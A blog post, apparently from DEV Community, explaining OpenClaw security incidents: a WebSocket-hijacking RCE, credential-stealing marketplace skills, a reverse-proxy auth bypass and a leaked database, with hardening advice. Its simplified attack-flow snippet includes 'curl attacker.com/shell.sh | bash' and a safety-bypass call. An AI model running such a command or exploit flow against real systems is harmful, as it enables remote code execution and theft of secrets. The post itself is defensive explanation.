DEV Community

Chen-Hung Wu
Chen-Hung Wu

Posted on • Originally published at tryupskill.app

OpenClaw's Wallet Killer: The RCE Flaw Draining Crypto

#security #ai #crypto #webdev

The One-Click RCE That Started It All

CVE-2026-25253 dropped on February 1st, 2026. CVSS 8.8. The attack? Visit a webpage. That's it.

Security researcher Mav Levin published the full chain: cross-site WebSocket hijacking combined with authentication bypass and sandbox evasion. OpenClaw's server didn't validate WebSocket origin headers. Any website could establish a connection, grab your auth token, disable safety prompts, and execute arbitrary code through node.invoke.

The attack completes in milliseconds. You wouldn't even see a prompt.

// Simplified attack flow (patched in v2026.1.29)
const ws = new WebSocket('ws://localhost:1337/api');
ws.onopen = () => {
  // 1. Hijack WebSocket - no origin validation
  // 2. Retrieve victim's auth token from local storage
  // 3. Disable sandbox: {"method": "system.bypass_safety"}
  // 4. Execute: {"method": "node.invoke", "cmd": "curl attacker.com/shell.sh | bash"}
};
Enter fullscreen mode Exit fullscreen mode

The patch landed February 2nd. But SecurityScorecard found 40,214 exposed instances as of mid-February, and 63% were still vulnerable. That's 12,812 machines exploitable via RCE right now.

What interviewers are actually testing: Can you explain WebSocket security? The core issue here is that WebSockets don't enforce same-origin policy by default. The server must validate the Origin header. OpenClaw didn't.

824 Malicious Skills and Counting

The RCE was a one-time exploit. The skills marketplace? That's a persistent supply chain attack.

Between January 27 and February 16, 2026, researchers identified over 824 malicious skills across ClawHub and GitHub. They weren't random. They targeted high-value categories:

Category Malicious Skills Target
Crypto wallets/trackers 111 Seed phrases, private keys
YouTube utilities 57 OAuth tokens
Trading bots 89 Exchange API keys
Financial assistants 63 Bank credentials

The payloads weren't sophisticated. They didn't need to be. A skill called "AuthTool," packaged inside legitimate-looking wrappers, exfiltrated:

  • Crypto wallet browser extensions
  • Seed phrases from local storage
  • macOS Keychain entries
  • Chrome/Firefox saved passwords
  • AWS/GCP/Azure credentials

One skill masquerading as a "DeFi Portfolio Tracker" ran a simple grep for *.json files containing "mnemonic" or "seed". If found, it posted them to a Telegram bot. Recovery? Impossible once your seed phrase is exposed.

What interviewers are actually testing: This is supply chain security 101. How do you trust third-party code? The answer involves code signing, reproducible builds, and sandboxed execution. ClawHub enforced none of these.

The Authentication Bypass Nobody Talks About

Here's the part most coverage missed.

OpenClaw trusts connections from 127.0.0.1 by default. Makes sense for a localhost tool. But thousands of users deployed it behind reverse proxies (Nginx, Caddy, Cloudflare Tunnel) to access it remotely.

The problem: many didn't configure X-Forwarded-For correctly. The reverse proxy forwarded external requests to localhost, and OpenClaw saw them as local. Full access. No authentication.

# WRONG - grants attackers full access
location / {
    proxy_pass http://127.0.0.1:1337;
}

# RIGHT - preserves real client IP
location / {
    proxy_pass http://127.0.0.1:1337;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
Enter fullscreen mode Exit fullscreen mode

Of the 40,214 exposed instances, researchers estimate 30-40% have this exact misconfiguration. That's 12,000+ machines where anyone can execute commands as the authenticated user.

I've seen this pattern break production systems before, not just OpenClaw. Any localhost-trusting service behind a naive reverse proxy is exploitable. Kubernetes clusters, development servers, internal tools. Same bug, different context.

The Moltbook Breach: Leaked Agent Identities

February 1st wasn't just about RCE. Moltbook, a social platform where people shared their OpenClaw agents, left its Supabase database publicly accessible.

Exposed:

  • Secret API keys for every registered agent
  • Private agent configurations
  • User email addresses
  • LinkedIn OAuth tokens (for users who connected accounts)

Attackers could impersonate any agent. Some belonged to high-profile figures whose personal AI assistants were linked. The implications for social engineering? Enormous.

Supabase CEO Andrei Ciulpan offered direct assistance. The database was locked down within 24 hours. But the exposed data? Already scraped.

What interviewers are actually testing: Database security fundamentals. Row-level security (RLS) exists for exactly this reason. Supabase has it built-in. Moltbook just didn't enable it.

Why This Keeps Happening

OpenClaw went from zero to 180,000 GitHub stars in weeks. Two million visitors in a single week. The team (originally just Peter Steinberger) couldn't scale security review with that growth.

Three architectural issues made this inevitable:

1. No skill sandboxing. Skills run with full user permissions. Any skill can access the filesystem, make network requests, and invoke system commands. There's no capability-based permission model.

2. Trust-by-default networking. The localhost assumption breaks the moment you deploy behind a proxy or expose any port. Default-deny would've prevented both the RCE and auth bypass.

3. No code signing for skills. ClawHub has no verification process. Anyone can publish. The "400 stars" on that malicious crypto tracker? Probably botted.

The fixes are straightforward. Implement CORS properly. Validate WebSocket origins. Add skill sandboxing with explicit permissions. Require signed packages. But retrofitting security onto a viral project is brutal. Every patch breaks existing workflows.

Try It Yourself

Want to check if your OpenClaw instance is vulnerable? Here's how.

Prerequisites

  • OpenClaw v2026.1.28 or earlier (vulnerable) or v2026.1.29+ (patched)
  • Network access to your instance
  • curl and websocat installed

Step 1: Check Your Version 

openclaw --version
# Vulnerable: < v2026.1.29
# Patched: >= v2026.1.29
Enter fullscreen mode Exit fullscreen mode

Step 2: Test WebSocket Origin Validation 

# From a different machine, test if your instance accepts cross-origin WebSocket
websocat -H "Origin: https://evil.com" ws://YOUR_IP:1337/api

# If you get a connection, you're vulnerable
# Patched instances reject non-localhost origins
Enter fullscreen mode Exit fullscreen mode

Step 3: Run Security Audit 

openclaw security audit --deep
Enter fullscreen mode Exit fullscreen mode

Step 4: Check for Malicious Skills 

# List all installed skills
openclaw skills list

# Cross-reference against known malicious hashes
openclaw skills verify --check-malicious
Enter fullscreen mode Exit fullscreen mode

Expected Output (Safe) 

✓ Version: v2026.1.30 (patched)
✓ WebSocket origin validation: enabled
✓ Sandbox mode: enabled
✓ 0 malicious skills detected
✓ RLS enabled on connected databases
Enter fullscreen mode Exit fullscreen mode

Troubleshooting

  • Connection accepted from evil.com origin: Update immediately. Run openclaw update.
  • Skills verify fails: Remove unverified skills with openclaw skills remove <name>.
  • Audit hangs: You may have a compromised skill blocking the audit. Reinstall from scratch.

Hardening Your Deployment

If you must run OpenClaw, here's the minimum security posture:

Network isolation:

# Bind to localhost only
openclaw config set server.host 127.0.0.1

# If using reverse proxy, configure properly
openclaw config set server.trust_proxy true
openclaw config set server.allowed_origins '["https://your-domain.com"]'
Enter fullscreen mode Exit fullscreen mode

Skill restrictions:

# Allowlist-only mode
openclaw config set skills.install_mode allowlist
openclaw config set skills.allowed '["official/*"]'
Enter fullscreen mode Exit fullscreen mode

Model selection:

# Claude Opus 4.5 has better prompt injection resistance
openclaw config set model claude-opus-4-5
Enter fullscreen mode Exit fullscreen mode

Dedicated machine:
Never run on your primary computer. Use a VM or dedicated server with no access to wallets, credentials, or sensitive data.

Key Takeaways

OpenClaw's security crisis is a textbook case of growth outpacing infrastructure. The one-click RCE (CVE-2026-25253) exploited missing WebSocket origin validation, a solved problem that should've been caught in code review. The 824+ malicious skills demonstrate what happens when a marketplace launches without code signing or sandboxing. And the authentication bypass shows why localhost-trust assumptions break in real-world deployments.

If you're running OpenClaw: update to v2026.1.29+, audit your skills, and isolate your instance. If you're building agent frameworks: learn from this. Default-deny networking. Capability-based permissions. Signed packages. The patterns exist. They just need to be applied before you go viral, not after.

👉 Want more AI engineering deep dives? Follow the full OpenClaw Deep Dive series on Upskill.

🚀 Preparing for FAANG interviews? Upskill AI helps IC4-IC6 engineers ace system design and ML interviews.

Sources:

Top comments (0)